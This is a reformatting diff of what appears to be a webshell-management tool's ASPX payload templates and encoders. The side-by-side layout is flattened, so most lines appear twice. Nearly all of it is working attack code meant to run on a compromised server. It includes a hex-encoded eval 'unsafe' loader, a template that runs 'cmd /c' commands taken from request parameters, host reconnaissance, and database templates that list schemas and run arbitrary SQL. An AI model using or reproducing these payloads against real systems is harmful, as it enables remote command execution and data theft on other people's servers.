"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer
.from(data['_'])
.toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`; data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_']; delete data['_'];
return data; return data;
......
...@@ -8,18 +8,20 @@ ...@@ -8,18 +8,20 @@
'use strict'; 'use strict';
function char2unicode(c) { function char2unicode(c) {
if(c.length != 1) { if (c.length != 1) {
return ''; return '';
} }
let buff = Buffer.alloc(4, '0'); let buff = Buffer.alloc(4, '0');
let hexstr = c.charCodeAt().toString(16); let hexstr = c
.charCodeAt()
.toString(16);
buff.write(hexstr, buff.length - hexstr.length, hexstr.length); buff.write(hexstr, buff.length - hexstr.length, hexstr.length);
return "\\u" + buff.toString(); return "\\u" + buff.toString();
} }
function string2unicode(str){ function string2unicode(str) {
var ret = ""; var ret = "";
for(var i=0; i<str.length; i++){ for (var i = 0; i < str.length; i++) {
ret += char2unicode(str[i]); ret += char2unicode(str[i]);
} }
return ret; return ret;
...@@ -30,7 +32,7 @@ function string2unicode(str){ ...@@ -30,7 +32,7 @@ function string2unicode(str){
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data, ext={}) => { module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u'); data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload // 删除 _ 原有的payload
delete data['_']; delete data['_'];
......
...@@ -18,19 +18,29 @@ class ASPX extends Base { ...@@ -18,19 +18,29 @@ class ASPX extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/dsn', 'database/mysql', 'command',
'database/access', 'database/oracle', 'filemanager',
'database/sqlserver', 'database/sqloledb_1', 'database/dsn',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' 'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => { ].map((_) => {
this.parseTemplate(`./aspx/template/${_}`); this.parseTemplate(`./aspx/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
.encoders
.map((_) => {
this.parseEncoder(`./aspx/encoder/${_}`); this.parseEncoder(`./aspx/encoder/${_}`);
}); });
this.decoders.map((_) => { this
.decoders
.map((_) => {
this.parseDecoder(`./aspx/decoder/${_}`); this.parseDecoder(`./aspx/decoder/${_}`);
}); });
} }
...@@ -40,7 +50,7 @@ class ASPX extends Base { ...@@ -40,7 +50,7 @@ class ASPX extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return ["base64","hex", "url_unicode"]; return ["base64", "hex", "url_unicode"];
} }
get decoders() { get decoders() {
...@@ -52,17 +62,25 @@ class ASPX extends Base { ...@@ -52,17 +62,25 @@ class ASPX extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; .random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base
.prototype
.format(this.__opts__['encode']);
let aspxencode = this.__opts__['encode']; let aspxencode = this.__opts__['encode'];
switch(this.__opts__['encode']) { switch (this.__opts__['encode']) {
case "UTF8": case "UTF8":
aspxencode = "UTF-8"; aspxencode = "UTF-8";
break; break;
......
...@@ -4,13 +4,14 @@ ...@@ -4,13 +4,14 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`, _: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
probedb: // 检测数据库函数支持 },
`function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}}; probedb: { // 检测数据库函数支持
_: `function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
var n="Adodb.Connection|Adodb.RecordSet"; var n="Adodb.Connection|Adodb.RecordSet";
n=n.Split("|"); n=n.Split("|");
for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n"); for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n");
`.replace(/\n\s+/g, ''), `.replace(/\n\s+/g, '')
}
}) })
\ No newline at end of file
...@@ -4,19 +4,17 @@ ...@@ -4,19 +4,17 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
}, },
listcmd: { listcmd: {
_: _: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
var ss=binarr.split(","); var ss=binarr.split(",");
var i; var i;
for(var i in ss){ for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n"); Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}", [arg1]: "#{base64::binarr}"
} }
}) })
...@@ -5,30 +5,26 @@ ...@@ -5,30 +5,26 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{dbname}' [arg2]: '#{dbname}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}'
[arg1]: '#{base64::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table2 // SELECT TOP 1 * FROM table2
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}'
} }
}) })
...@@ -5,29 +5,25 @@ ...@@ -5,29 +5,25 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}'
[arg1]: '#{base64::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table3 // SELECT TOP 1 * FROM table3
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}'
} }
}) })
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
...@@ -17,13 +16,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -17,13 +16,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
} }
Rs.Close(); Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True; // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist
// Security Info=True;
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(); Conn.Open();
...@@ -40,8 +39,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -40,8 +39,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
...@@ -61,8 +59,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -61,8 +59,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])); var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
...@@ -85,7 +82,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -85,7 +82,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
} }
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20 // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND
// N<=20
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
......
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1); Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);
...@@ -20,8 +19,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -20,8 +19,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("USE ["+Request.Item["${arg2}"]+"]; Rs.Open("USE ["+Request.Item["${arg2}"]+"];
...@@ -37,8 +35,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -37,8 +35,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1); Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
...@@ -51,13 +48,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -51,13 +48,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
// Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where
// A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid
[arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句 [arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])); var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
......
...@@ -4,75 +4,71 @@ ...@@ -4,75 +4,71 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
dir: { dir: {
